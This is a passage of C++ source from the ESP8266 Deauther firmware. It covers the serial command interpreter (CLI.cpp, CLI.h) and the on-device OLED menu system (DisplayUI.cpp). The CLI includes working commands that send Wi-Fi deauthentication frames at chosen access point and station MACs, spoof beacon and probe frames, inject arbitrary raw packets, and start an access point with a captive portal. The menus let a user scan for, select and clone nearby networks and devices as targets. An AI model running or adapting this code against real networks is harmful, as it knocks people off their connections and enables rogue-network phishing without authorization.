else if (eqls(str, S_JSON_DISPLAYINTERFACE)) prntln(settings::getDisplaySettings().enabled);
else if (eqls(str, S_JSON_DISPLAY_TIMEOUT)) prntln(settings::getDisplaySettings().timeout);
else {
prnt(_tmp);
prntln(" setting not found");
}
}
// set <setting> <value>
else if (eqlsCMD(0, CLI_SET) && (list->size() == 3)) {
String _tmp = list->get(1);
const char* str = _tmp.c_str();
String strVal = list->get(2);
bool boolVal = s2b(strVal);
int intVal = strVal.toInt();
uint32_t unsignedVal = intVal < 0 ? 0 : (uint32_t)intVal;
settings_t newSettings = settings::getAllSettings();
// Autosave
if (eqls(str, S_JSON_AUTOSAVE)) newSettings.autosave.enabled = boolVal;
else if (eqls(str, S_JSON_AUTOSAVETIME)) newSettings.autosave.time = unsignedVal;
// Attack
else if (eqls(str, S_JSON_BEACONCHANNEL)) newSettings.attack.attack_all_ch = boolVal;
else if (eqls(str, S_JSON_RANDOMTX)) newSettings.attack.random_tx = boolVal;
else if (eqls(str, S_JSON_ATTACKTIMEOUT)) newSettings.attack.timeout = unsignedVal;
else if (eqls(str, S_JSON_DEAUTHSPERTARGET)) newSettings.attack.deauths_per_target = unsignedVal;
else if (eqls(str, S_JSON_DEAUTHREASON)) newSettings.attack.deauth_reason = unsignedVal;
else if (eqls(str, S_JSON_BEACONINTERVAL)) newSettings.attack.beacon_interval = (beacon_interval_t)boolVal;
else if (eqls(str, S_JSON_PROBESPERSSID)) newSettings.attack.probe_frames_per_ssid = unsignedVal;
// WiFi
else if (eqls(str, S_JSON_CHANNEL)) newSettings.wifi.channel = unsignedVal;
else if (eqls(str, S_JSON_MACST)) strToMac(strVal, newSettings.wifi.mac_st);
else if (eqls(str, S_JSON_MACAP)) strToMac(strVal, newSettings.wifi.mac_ap);
// Sniffer
else if (eqls(str, S_JSON_CHTIME)) newSettings.sniffer.channel_time = unsignedVal;
else if (eqls(str, S_JSON_MIN_DEAUTHS)) newSettings.sniffer.min_deauth_frames = unsignedVal;
// AP
else if (eqls(str, S_JSON_SSID)) strncpy(newSettings.ap.ssid, strVal.c_str(), 32);
else if (eqls(str, S_JSON_PASSWORD)) strncpy(newSettings.ap.password, strVal.c_str(), 64);
else if (eqls(str, S_JSON_HIDDEN)) newSettings.ap.hidden = boolVal;
else if (eqls(str, S_JSON_IP)) strToIP(strVal, newSettings.ap.ip);
// Web
else if (eqls(str, S_JSON_WEBINTERFACE)) newSettings.web.enabled = boolVal;
else if (eqls(str, S_JSON_CAPTIVEPORTAL)) newSettings.web.captive_portal = boolVal;
else if (eqls(str, S_JSON_WEB_SPIFFS)) newSettings.web.use_spiffs = boolVal;
else if (eqls(str, S_JSON_LANG)) strncpy(newSettings.web.lang, strVal.c_str(), 3);
// CLI
else if (eqls(str, S_JSON_SERIALINTERFACE)) newSettings.cli.enabled = boolVal;
else if (eqls(str, S_JSON_SERIAL_ECHO)) newSettings.cli.serial_echo = boolVal;
// LED
else if (eqls(str, S_JSON_LEDENABLED)) newSettings.led.enabled = boolVal;
// Display
else if (eqls(str, S_JSON_DISPLAYINTERFACE)) newSettings.display.enabled = boolVal;
else if (eqls(str, S_JSON_DISPLAY_TIMEOUT)) newSettings.display.timeout = unsignedVal;
else {
prnt(str);
prntln(" not found");
return;
}
prnt("Set ");
prnt(str);
prnt(" = ");
prntln(strVal);
settings::setAllSettings(newSettings);
}
// ====== CHICKEN ===== //
else if (eqlsCMD(0, CLI_CHICKEN)) {
prntln(CLI_CHICKEN_OUTPUT);
}
// ===== STOP ===== //
// stop [<mode>]
else if (eqlsCMD(0, CLI_STOP)) {
led::setMode(IDLE, true);
if ((list->size() >= 2) && !(eqlsCMD(1, CLI_ALL))) {
for (int i = 1; i < list->size(); i++) {
if (eqlsCMD(i, CLI_SCAN)) scan.stop();
else if (eqlsCMD(i, CLI_ATTACK)) attack.stop();
else if (eqlsCMD(i, CLI_SCRIPT)) this->stop();
else parameterError(list->get(i));
}
} else {
scan.stop();
attack.stop();
this->stop();
}
}
// ===== SYSTEM ===== //
// sysinfo
else if (eqlsCMD(0, CLI_SYSINFO)) {
prntln(CLI_SYSTEM_INFO);
char s[150];
sprintf(s, str(CLI_SYSTEM_OUTPUT).c_str(), 81920 - system_get_free_heap_size(),
100 - system_get_free_heap_size() / (81920 / 100), system_get_free_heap_size(),
system_get_free_heap_size() / (81920 / 100), 81920);
prntln(String(s));
prnt(CLI_SYSTEM_CHANNEL);
prntln(settings::getWifiSettings().channel);
uint8_t mac[6];
prnt(CLI_SYSTEM_AP_MAC);
wifi_get_macaddr(SOFTAP_IF, mac);
prntln(macToStr(mac));
prnt(CLI_SYSTEM_ST_MAC);
wifi_get_macaddr(STATION_IF, mac);
prntln(macToStr(mac));
FSInfo fs_info;
LittleFS.info(fs_info);
sprintf(s, str(
CLI_SYSTEM_RAM_OUT).c_str(), fs_info.usedBytes, fs_info.usedBytes / (fs_info.totalBytes / 100), fs_info.totalBytes - fs_info.usedBytes,
(fs_info.totalBytes - fs_info.usedBytes) / (fs_info.totalBytes / 100), fs_info.totalBytes);
prnt(String(s));
sprintf(s, str(CLI_SYSTEM_SPIFFS_OUT).c_str(), fs_info.blockSize, fs_info.pageSize);
prnt(String(s));
prntln(CLI_FILES);
Dir dir = LittleFS.openDir(String(SLASH));
while (dir.next()) {
prnt(String(SPACE) + String(SPACE) + dir.fileName() + String(SPACE));
File f = dir.openFile("r");
prnt(int(f.size()));
prntln(str(CLI_BYTES));
}
wifi::printStatus();
prntln(CLI_SYSTEM_FOOTER);
}
// ===== RESET ===== //
// reset
else if (eqlsCMD(0, CLI_RESET)) {
settings::reset();
}
// ===== CLEAR ===== //
// clear
else if (eqlsCMD(0, CLI_CLEAR)) {
for (int i = 0; i < 100; i++) prnt(HASHSIGN);
for (int i = 0; i < 60; i++) prntln();
}
// ===== REBOOT ===== //
// reboot
else if (eqlsCMD(0, CLI_REBOOT)) {
ESP.reset();
}
// ===== FORMAT ==== //
// format
else if (eqlsCMD(0, CLI_FORMAT)) {
prnt(CLI_FORMATTING_SPIFFS);
LittleFS.format();
prntln(SETUP_OK);
}
// ===== DELETE ==== //
// delete <file> [<lineFrom>] [<lineTo>]
else if ((list->size() >= 2) && eqlsCMD(0, CLI_DELETE)) {
if (list->size() == 2) {
// remove whole file
if (removeFile(list->get(1))) {
prnt(CLI_REMOVED);
prntln(list->get(1));
} else {
prnt(CLI_ERROR_REMOVING);
prntln(list->get(1));
}
} else {
// remove certain lines
int beginLine = list->get(2).toInt();
int endLine = list->size() == 4 ? list->get(3).toInt() : beginLine;
if (removeLines(list->get(1), beginLine, endLine)) {
prnt(CLI_REMOVING_LINES);
prnt(beginLine);
prnt(String(SPACE) + String(DASH) + String(SPACE));
prnt(endLine);
prntln(String(SPACE) + list->get(1));
} else {
prnt(CLI_ERROR_REMOVING);
prntln(list->get(1));
}
}
}
// ===== COPY ==== //
// delete <file> <newfile>
else if ((list->size() == 3) && eqlsCMD(0, CLI_COPY)) {
if (copyFile(list->get(1), list->get(2))) {
prntln(CLI_COPIED_FILES);
} else {
prntln(CLI_ERROR_COPYING);
}
}
// ===== RENAME ==== //
// delete <file> <newfile>
else if ((list->size() == 3) && eqlsCMD(0, CLI_RENAME)) {
if (renameFile(list->get(1), list->get(2))) {
prntln(CLI_RENAMED_FILE);
} else {
prntln(CLI_ERROR_RENAMING_FILE);
}
}
// ===== WRITE ==== //
// write <file> <commands>
else if ((list->size() >= 3) && eqlsCMD(0, CLI_WRITE)) {
String path = list->get(1);
String buf = String();
int listSize = list->size();
for (int i = 2; i < listSize; i++) {
buf += list->get(i);
if (i < listSize - 1) buf += SPACE;
}
prnt(CLI_WRITTEN);
prnt(buf);
prnt(CLI_TO);
prntln(list->get(1));
buf += NEWLINE;
appendFile(path, buf);
}
// ===== REPLACE ==== //
// replace <file> <line> <new-content>
else if ((list->size() >= 4) && eqlsCMD(0, CLI_REPLACE)) {
int line = list->get(2).toInt();
String tmp = String();
for (int i = 3; i < list->size(); i++) {
tmp += list->get(i);
if (i < list->size() - 1) tmp += SPACE;
}
if (replaceLine(list->get(1), line, tmp)) {
prnt(CLI_REPLACED_LINE);
prnt(line);
prnt(CLI_WITH);
prntln(list->get(1));
} else {
prnt(CLI_ERROR_REPLACING_LINE);
prntln(list->get(1));
}
}
// ===== RUN ==== //
// run <file> [continue <num>]
else if ((list->size() >= 2) && eqlsCMD(0, CLI_RUN)) {
execFile(list->get(1));
}
// ===== PRINT ==== //
// print <file> [<lines>]
else if ((list->size() >= 2) && eqlsCMD(0, CLI_PRINT)) {
readFileToSerial(list->get(1), eqlsCMD(2, CLI_LINE));
prntln();
}
// ===== INFO ===== //
// info
else if (eqlsCMD(0, CLI_INFO)) {
prntln(CLI_INFO_HEADER);
prnt(CLI_INFO_SOFTWARE);
prntln(DEAUTHER_VERSION);
prntln(CLI_INFO_COPYRIGHT);
prntln(CLI_INFO_LICENSE);
prntln(CLI_INFO_ADDON);
prntln(CLI_INFO_HEADER);
}
// ===== SEND ===== //
// send deauth <apMac> <stMac> <rason> <channel>
else if (eqlsCMD(0, CLI_SEND) && (list->size() == 6) && eqlsCMD(1, CLI_DEAUTH)) {
uint8_t apMac[6];
uint8_t stMac[6];
strToMac(list->get(2), apMac);
strToMac(list->get(3), stMac);
uint8_t reason = list->get(4).toInt();
uint8_t channel = list->get(5).toInt();
prnt(CLI_DEAUTHING);
prnt(macToStr(apMac));
prnt(CLI_ARROW);
prntln(macToStr(stMac));
attack.deauthDevice(apMac, stMac, reason, channel);
}
// send beacon <mac> <ssid> <ch> [wpa2]
else if (eqlsCMD(0, CLI_SEND) && (list->size() >= 5) && eqlsCMD(1, CLI_BEACON)) {
uint8_t mac[6];
strToMac(list->get(2), mac);
uint8_t channel = list->get(4).toInt();
String ssid = list->get(3);
for (int i = ssid.length(); i < 32; i++) ssid += SPACE;
prnt(CLI_SENDING_BEACON);
prnt(list->get(3));
prntln(DOUBLEQUOTES);
attack.sendBeacon(mac, ssid.c_str(), channel, eqlsCMD(5, CLI_WPA2));
}
// send probe <mac> <ssid> <ch>
else if (eqlsCMD(0, CLI_SEND) && (list->size() == 5) && eqlsCMD(1, CLI_PROBE)) {
uint8_t mac[6];
strToMac(list->get(2), mac);
uint8_t channel = list->get(4).toInt();
String ssid = list->get(3);
for (int i = ssid.length(); i < 32; i++) ssid += SPACE;
prnt(CLI_SENDING_PROBE);
prnt(list->get(3));
prntln(DOUBLEQUOTES);
attack.sendProbe(mac, ssid.c_str(), channel);
}
// send custom <packet>
else if (eqlsCMD(0, CLI_SEND) && eqlsCMD(1, CLI_CUSTOM)) {
String packetStr = list->get(2);
packetStr.replace(String(DOUBLEQUOTES), String());
uint16_t counter = 0;
uint16_t packetSize = packetStr.length() / 2;
uint8_t packet[packetSize];
for (int i = 0; i < packetSize; i++) packet[i] = strtoul((packetStr.substring(i * 2,
i * 2 + 2)).c_str(), NULL, 16);
if (attack.sendPacket(packet, packetSize, wifi_channel, true)) {
prntln(CLI_CUSTOM_SENT);
counter++;
} else {
prntln(CLI_CUSTOM_FAILED);
}
}
// ===== LED ===== //
// led <r> <g> <b> [<brightness>]
else if ((list->size() == 4) && eqlsCMD(0, CLI_LED)) {
led::setColor(list->get(1).toInt(), list->get(2).toInt(), list->get(3).toInt());
}
// led <#rrggbb> [<brightness>]
else if ((list->size() == 2) &&
eqlsCMD(0, CLI_LED) && (list->get(1).charAt(0) == HASHSIGN)) {
uint8_t c[3];
strToColor(list->get(1), c);
led::setColor(c[0], c[1], c[2]);
}
// ===== DELAY ===== //
else if ((list->size() == 2) && eqlsCMD(0, CLI_DELAY)) {
uint32_t endTime = currentTime + getTime(list->get(1));
while (currentTime < endTime) {
// ------- loop function ----- //
currentTime = millis();
wifi::update(); // manage access point
scan.update(); // run scan
attack.update(); // run attacks
ssids.update(); // run random mode, if enabled
led::update(); // update LED color
// auto-save
if (settings::getAutosaveSettings().enabled && (currentTime - autosaveTime > settings::getAutosaveSettings().time)) {
autosaveTime = currentTime;
names.save(false);
ssids.save(false);
settings::save(false);
}
// ------- loop function end ----- //
yield();
}
}
// ===== DRAW ===== //
else if (eqlsCMD(0, CLI_DRAW)) {
int height = 25;
int width = 2;
if (list->size() >= 2) height = list->get(1).toInt();
if (list->size() >= 3) width = list->get(2).toInt();
double scale = scan.getScaleFactor(height);
prnt(String(DASH) + String(DASH) + String(DASH) + String(DASH) + String(VERTICALBAR)); // ----|
for (int j = 0; j < SCAN_PACKET_LIST_SIZE; j++) {
for (int k = 0; k < width; k++) prnt(EQUALS);
}
prntln(VERTICALBAR);
for (int i = height; i >= 0; i--) {
char s[200];
if (i == height) sprintf(s, str(CLI_DRAW_OUTPUT).c_str(),
scan.getMaxPacket() > (uint32_t)height ? scan.getMaxPacket() : (uint32_t)height);
else if (i == height / 2) sprintf(s, str(CLI_DRAW_OUTPUT).c_str(),
scan.getMaxPacket() >
(uint32_t)height ? scan.getMaxPacket() / 2 : (uint32_t)height / 2);
else if (i == 0) sprintf(s, str(CLI_DRAW_OUTPUT).c_str(), 0);
else {
s[0] = SPACE;
s[1] = SPACE;
s[2] = SPACE;
s[3] = SPACE;
s[4] = ENDOFLINE;
}
prnt(String(s));
prnt(VERTICALBAR);
for (int j = 0; j < SCAN_PACKET_LIST_SIZE; j++) {
if (scan.getPackets(j) * scale > i) {
for (int k = 0; k < width; k++) prnt(HASHSIGN);
} else {
for (int k = 0; k < width; k++) prnt(SPACE);
}
}
prntln(VERTICALBAR);
}
prnt(String(DASH) + String(DASH) + String(DASH) + String(DASH) + String(VERTICALBAR)); // ----|
for (int j = 0; j < SCAN_PACKET_LIST_SIZE; j++) {
for (int k = 0; k < width; k++) prnt(EQUALS);
}
prntln(VERTICALBAR);
prnt(String(SPACE) + String(SPACE) + String(SPACE) + String(SPACE) + String(VERTICALBAR));
for (int j = 0; j < SCAN_PACKET_LIST_SIZE; j++) {
char s[6];
String helper = String(PERCENT) + DASH + (String)width + D;
if (j == 0) sprintf(s, helper.c_str(), SCAN_PACKET_LIST_SIZE - 1);
else if (j == SCAN_PACKET_LIST_SIZE / 2) sprintf(s, helper.c_str(), SCAN_PACKET_LIST_SIZE / 2);
else if (j == SCAN_PACKET_LIST_SIZE - 1) sprintf(s, helper.c_str(), 0);
else {
int k;
for (k = 0; k < width; k++) s[k] = SPACE;
s[k] = ENDOFLINE;
}
prnt(s);
}
prntln(VERTICALBAR);
}
// ===== START/STOP AP ===== //
// startap [-p <path][-s <ssid>] [-pswd <password>] [-ch <channel>] [-h] [-cp]
else if (eqlsCMD(0, CLI_STARTAP)) {
String path = String(F("/web"));
String ssid = settings::getAccessPointSettings().ssid;
String password = settings::getAccessPointSettings().password;
int ch = wifi_channel;
bool hidden = settings::getAccessPointSettings().hidden;
bool captivePortal = settings::getWebSettings().captive_portal;
for (int i = 1; i < list->size(); i++) {
if (eqlsCMD(i, CLI_PATH)) {
i++;
path = list->get(i);
} else if (eqlsCMD(i, CLI_SSID)) {
i++;
ssid = list->get(i);
} else if (eqlsCMD(i, CLI_PASSWORD)) {
i++;
password = list->get(i);
} else if (eqlsCMD(i, CLI_CHANNEL)) {
i++;
ch = list->get(i).toInt();
} else if (eqlsCMD(i, CLI_HIDDEN)) {
hidden = true;
} else if (eqlsCMD(i, CLI_CAPTIVEPORTAL)) {
captivePortal = true;
} else {
parameterError(list->get(1));
}
}
wifi::startNewAP(path, ssid, password, ch, hidden, captivePortal);
}
// stopap
else if (eqlsCMD(0, CLI_STOPAP)) {
wifi::stopAP();
}
// ===== SCREEN ===== //
// screen mode <menu/packetmonitor/buttontest/loading>
else if (eqlsCMD(0, CLI_SCREEN) && eqlsCMD(1, CLI_MODE)) {
if (eqlsCMD(2, CLI_MODE_BUTTONTEST)) displayUI.mode = DISPLAY_MODE::BUTTON_TEST;
else if (eqlsCMD(2, CLI_MODE_PACKETMONITOR)) displayUI.mode = DISPLAY_MODE::PACKETMONITOR;
else if (eqlsCMD(2, CLI_MODE_LOADINGSCREEN)) displayUI.mode = DISPLAY_MODE::LOADSCAN;
else if (eqlsCMD(2, CLI_MODE_MENU)) displayUI.mode = DISPLAY_MODE::MENU;
else parameterError(list->get(2));
prntln(CLI_CHANGED_SCREEN);
}
// screen <on/off>
else if (eqlsCMD(0, CLI_SCREEN) && (eqlsCMD(1, CLI_ON) || eqlsCMD(1, CLI_OFF))) {
if (eqlsCMD(1, CLI_ON)) {
displayUI.on();
} else if (eqlsCMD(1, CLI_OFF)) {
displayUI.off();
}
}
// ===== NOT FOUND ===== //
else {
prnt(CLI_ERROR_NOT_FOUND_A);
prnt(input);
prntln(CLI_ERROR_NOT_FOUND_B);
// some debug stuff
/*
Serial.println(list->get(0));
for(int i=0;i<input.length();i++){
Serial.print(input.charAt(i), HEX);
Serial.print(' ');
}
*/
}
}
================================================
FILE: esp8266_deauther/CLI.h
================================================
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
#include "language.h"
#include "A_config.h"
#include "SimpleList.h"
#include "Names.h"
#include "SSIDs.h"
#include "Scan.h"
#include "Attack.h"
#include "DisplayUI.h"
#include "led.h"
extern Names names;
extern SSIDs ssids;
extern Accesspoints accesspoints;
extern Stations stations;
extern Scan scan;
extern Attack attack;
extern DisplayUI displayUI;
extern uint32_t currentTime;
extern uint32_t autosaveTime;
extern String macToStr(const uint8_t* mac);
extern bool strToMac(String macStr, uint8_t* mac);
extern bool strToIP(String ipStr, uint8_t* ip);
extern void strToColor(String str, uint8_t* buf);
extern void readFileToSerial(String path, bool showLineNum);
extern bool readFile(String path, String& buf);
extern bool removeFile(String path);
extern bool copyFile(String pathFrom, String pathTo);
extern bool renameFile(String pathFrom, String pathTo);
extern bool appendFile(String path, String& buf);
extern bool removeLines(String path, int lineFrom, int lineTo);
extern bool replaceLine(String path, int line, String& buf);
extern bool equalsKeyword(const char* str, const char* keyword);
class CLI {
public:
CLI();
~CLI();
void load();
void load(String filepath);
void enable();
void disable();
void update();
void stop();
void enableDelay(uint32_t delayTime);
void exec(String input);
void execFile(String path);
void runLine(String input);
void runCommand(String input);
private:
bool enabled = false;
SimpleList<String>* list;
SimpleList<String>* queue;
bool delayed = false;
uint32_t delayTime = 0;
uint32_t delayStartTime = 0;
String execPath = "/autostart.txt";
struct Keyword {
const char* name;
const char* shortName;
const char* alt;
};
void error(String message);
void parameterError(String parameter);
bool isInt(String str);
int toInt(String str);
uint32_t getTime(String time);
bool eqlsCMD(int i, const char* keyword);
};
================================================
FILE: esp8266_deauther/DisplayUI.cpp
================================================
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "DisplayUI.h"
#include "settings.h"
// ===== adjustable ===== //
void DisplayUI::configInit() {
// initialize display
display.init();
/*
In case of a compiler (conversion char/uint8_t) error,
make sure to have version 4 of the display library installed
https://github.com/ThingPulse/esp8266-oled-ssd1306/releases/tag/4.0.0
*/
display.setFont(DejaVu_Sans_Mono_12);
display.setContrast(255);
if (FLIP_DIPLAY) display.flipScreenVertically();
display.clear();
display.display();
}
void DisplayUI::configOn() {
display.displayOn();
}
void DisplayUI::configOff() {
display.displayOff();
}
void DisplayUI::updatePrefix() {
display.clear();
}
void DisplayUI::updateSuffix() {
display.display();
}
void DisplayUI::drawString(int x, int y, String str) {
display.drawString(x, y, replaceUtf8(str, String(QUESTIONMARK)));
}
void DisplayUI::drawString(int row, String str) {
drawString(0, row * lineHeight, str);
}
void DisplayUI::drawLine(int x1, int y1, int x2, int y2) {
display.drawLine(x1, y1, x2, y2);
}
// ====================== //
DisplayUI::DisplayUI() {}
DisplayUI::~DisplayUI() {}
void DisplayUI::setup() {
configInit();
setupButtons();
buttonTime = currentTime;
#ifdef RTC_DS3231
bool h12;
bool PM_time;
clock.setClockMode(false);
clockHour = clock.getHour(h12, PM_time);
clockMinute = clock.getMinute();
#else // ifdef RTC_DS3231
clockHour = random(12);
clockMinute = random(60);
#endif // ifdef RTC_DS3231
// ===== MENUS ===== //
// MAIN MENU
createMenu(&mainMenu, NULL, [this]() {
addMenuNode(&mainMenu, D_SCAN, &scanMenu); /// SCAN
addMenuNode(&mainMenu, D_SHOW, &showMenu); // SHOW
addMenuNode(&mainMenu, D_ATTACK, &attackMenu); // ATTACK
addMenuNode(&mainMenu, D_PACKET_MONITOR, [this]() { // PACKET MONITOR
scan.start(SCAN_MODE_SNIFFER, 0, SCAN_MODE_OFF, 0, false, wifi_channel);
mode = DISPLAY_MODE::PACKETMONITOR;
});
addMenuNode(&mainMenu, D_CLOCK, &clockMenu); // CLOCK
#ifdef HIGHLIGHT_LED
addMenuNode(&mainMenu, D_LED, [this]() { // LED
highlightLED = !highlightLED;
digitalWrite(HIGHLIGHT_LED, highlightLED);
});
#endif // ifdef HIGHLIGHT_LED
});
// SCAN MENU
createMenu(&scanMenu, &mainMenu, [this]() {
addMenuNode(&scanMenu, D_SCAN_APST, [this]() { // SCAN AP + ST
scan.start(SCAN_MODE_ALL, 15000, SCAN_MODE_OFF, 0, true, wifi_channel);
mode = DISPLAY_MODE::LOADSCAN;
});
addMenuNode(&scanMenu, D_SCAN_AP, [this]() { // SCAN AP
scan.start(SCAN_MODE_APS, 0, SCAN_MODE_OFF, 0, true, wifi_channel);
mode = DISPLAY_MODE::LOADSCAN;
});
addMenuNode(&scanMenu, D_SCAN_ST, [this]() { // SCAN ST
scan.start(SCAN_MODE_STATIONS, 30000, SCAN_MODE_OFF, 0, true, wifi_channel);
mode = DISPLAY_MODE::LOADSCAN;
});
});
// SHOW MENU
createMenu(&showMenu, &mainMenu, [this]() {
addMenuNode(&showMenu, [this]() { // Accesspoints 0 [0]
return leftRight(str(D_ACCESSPOINTS), (String)accesspoints.count(), maxLen - 1);
}, &apListMenu);
addMenuNode(&showMenu, [this]() { // Stations 0 [0]
return leftRight(str(D_STATIONS), (String)stations.count(), maxLen - 1);
}, &stationListMenu);
addMenuNode(&showMenu, [this]() { // Names 0 [0]
return leftRight(str(D_NAMES), (String)names.count(), maxLen - 1);
}, &nameListMenu);
addMenuNode(&showMenu, [this]() { // SSIDs 0
return leftRight(str(D_SSIDS), (String)ssids.count(), maxLen - 1);
}, &ssidListMenu);
});
// AP LIST MENU
createMenu(&apListMenu, &showMenu, [this]() {
// add APs to list
int c = accesspoints.count();
for (int i = 0; i < c; i++) {
addMenuNode(&apListMenu, [i]() {
return b2a(accesspoints.getSelected(i)) + accesspoints.getSSID(i);
}, [this, i]() {
accesspoints.getSelected(i) ? accesspoints.deselect(i) : accesspoints.select(i);
}, [this, i]() {
selectedID = i;
changeMenu(&apMenu);
});
}
addMenuNode(&apListMenu, D_SELECT_ALL, [this]() { // SELECT ALL
accesspoints.selectAll();
changeMenu(&apListMenu);
});
addMenuNode(&apListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL
accesspoints.deselectAll();
changeMenu(&apListMenu);
});
addMenuNode(&apListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
accesspoints.removeAll();
goBack();
});
});
// STATION LIST MENU
createMenu(&stationListMenu, &showMenu, [this]() {
// add stations to list
int c = stations.count();
for (int i = 0; i < c; i++) {
addMenuNode(&stationListMenu, [i]() {
return b2a(stations.getSelected(i)) +
(stations.hasName(i) ? stations.getNameStr(i) : stations.getMacVendorStr(i));
}, [this, i]() {
stations.getSelected(i) ? stations.deselect(i) : stations.select(i);
}, [this, i]() {
selectedID = i;
changeMenu(&stationMenu);
});
}
addMenuNode(&stationListMenu, D_SELECT_ALL, [this]() { // SELECT ALL
stations.selectAll();
changeMenu(&stationListMenu);
});
addMenuNode(&stationListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL
stations.deselectAll();
changeMenu(&stationListMenu);
});
addMenuNode(&stationListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
stations.removeAll();
goBack();
});
});
// NAME LIST MENU
createMenu(&nameListMenu, &showMenu, [this]() {
// add device names to list
int c = names.count();
for (int i = 0; i < c; i++) {
addMenuNode(&nameListMenu, [i]() {
return names.getSelectedStr(i) + names.getName(i);
}, [this, i]() {
names.getSelected(i) ? names.deselect(i) : names.select(i);
}, [this, i]() {
selectedID = i;
changeMenu(&nameMenu);
});
}
addMenuNode(&nameListMenu, D_SELECT_ALL, [this]() { // SELECT ALL
names.selectAll();
changeMenu(&nameListMenu);
});
addMenuNode(&nameListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL
names.deselectAll();
changeMenu(&nameListMenu);
});
addMenuNode(&nameListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
names.removeAll();
goBack();
});
});
// SSID LIST MENU
createMenu(&ssidListMenu, &showMenu, [this]() {
addMenuNode(&ssidListMenu, D_CLONE_APS, [this]() { // CLONE APs
ssids.cloneSelected(true);
changeMenu(&ssidListMenu);
ssids.save(false);
});
addMenuNode(&ssidListMenu, [this]() {
return b2a(ssids.getRandom()) + str(D_RANDOM_MODE); // *RANDOM MODE
}, [this]() {
if (ssids.getRandom()) ssids.disableRandom();
else ssids.enableRandom(10);
changeMenu(&ssidListMenu);
});
// add ssids to list
int c = ssids.count();
for (int i = 0; i < c; i++) {
addMenuNode(&ssidListMenu, [i]() {
return ssids.getName(i).substring(0, ssids.getLen(i));
}, [this, i]() {
selectedID = i;
changeMenu(&ssidMenu);
}, [this, i]() {
ssids.remove(i);
changeMenu(&ssidListMenu);
ssidListMenu.selected = i;
});
}
addMenuNode(&ssidListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
ssids.removeAll();
goBack();
});
});
// AP MENU
createMenu(&apMenu, &apListMenu, [this]() {
addMenuNode(&apMenu, [this]() {
return accesspoints.getSelectedStr(selectedID) + accesspoints.getSSID(selectedID); // *<ssid>
}, [this]() {
accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID);
});
addMenuNode(&apMenu, [this]() {
return str(D_ENCRYPTION) + accesspoints.getEncStr(selectedID);
}, NULL); // Encryption: -/WPA2
addMenuNode(&apMenu, [this]() {
return str(D_RSSI) + (String)accesspoints.getRSSI(selectedID);
}, NULL); // RSSI: -90
addMenuNode(&apMenu, [this]() {
return str(D_CHANNEL) + (String)accesspoints.getCh(selectedID);
}, NULL); // Channel: 11
addMenuNode(&apMenu, [this]() {
return accesspoints.getMacStr(selectedID);
}, NULL); // 00:11:22:00:11:22
addMenuNode(&apMenu, [this]() {
return str(D_VENDOR) + accesspoints.getVendorStr(selectedID);
}, NULL); // Vendor: INTEL
addMenuNode(&apMenu, [this]() {
return accesspoints.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT
}, [this]() {
accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID);
});
addMenuNode(&apMenu, D_CLONE, [this]() { // CLONE
ssids.add(accesspoints.getSSID(selectedID), accesspoints.getEnc(selectedID) != ENC_TYPE_NONE, 60, true);
changeMenu(&showMenu);
ssids.save(false);
});
addMenuNode(&apMenu, D_REMOVE, [this]() { // REMOVE
accesspoints.remove(selectedID);
apListMenu.list->remove(apListMenu.selected);
goBack();
});
});
// STATION MENU
createMenu(&stationMenu, &stationListMenu, [this]() {
addMenuNode(&stationMenu, [this]() {
return stations.getSelectedStr(selectedID) +
(stations.hasName(selectedID) ? stations.getNameStr(selectedID) : stations.getMacVendorStr(selectedID)); // <station
// name>
}, [this]() {
stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID);
});
addMenuNode(&stationMenu, [this]() {
return stations.getMacStr(selectedID);
}, NULL); // 00:11:22:00:11:22
addMenuNode(&stationMenu, [this]() {
return str(D_VENDOR) + stations.getVendorStr(selectedID);
}, NULL); // Vendor: INTEL
addMenuNode(&stationMenu, [this]() {
return str(D_AP) + stations.getAPStr(selectedID); // AP: someAP
}, [this]() {
int apID = accesspoints.find(stations.getAP(selectedID));
if (apID >= 0) {
selectedID = apID;
changeMenu(&apMenu);
}
});
addMenuNode(&stationMenu, [this]() {
return str(D_PKTS) + String(*stations.getPkts(selectedID));
}, NULL); // Pkts: 12
addMenuNode(&stationMenu, [this]() {
return str(D_CHANNEL) + String(stations.getCh(selectedID));
}, NULL); // Channel: 11
addMenuNode(&stationMenu, [this]() {
return str(D_SEEN) + stations.getTimeStr(selectedID);
}, NULL); // Seen: <1min
addMenuNode(&stationMenu, [this]() {
return stations.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT
}, [this]() {
stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID);
});
addMenuNode(&stationMenu, D_REMOVE, [this]() { // REMOVE
stations.remove(selectedID);
stationListMenu.list->remove(stationListMenu.selected);
goBack();
});
});
// NAME MENU
createMenu(&nameMenu, &nameListMenu, [this]() {
addMenuNode(&nameMenu, [this]() {
return names.getSelectedStr(selectedID) + names.getName(selectedID); // <station name>
}, [this]() {
names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID);
});
addMenuNode(&nameMenu, [this]() {
return names.getMacStr(selectedID);
}, NULL); // 00:11:22:00:11:22
addMenuNode(&nameMenu, [this]() {
return str(D_VENDOR) + names.getVendorStr(selectedID);
}, NULL); // Vendor: INTEL
addMenuNode(&nameMenu, [this]() {
return str(D_AP) + names.getBssidStr(selectedID);
}, NULL); // AP: 00:11:22:00:11:22
addMenuNode(&nameMenu, [this]() {
return str(D_CHANNEL) + (String)names.getCh(selectedID);
}, NULL); // Channel: 11
addMenuNode(&nameMenu, [this]() {
return names.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT
}, [this]() {
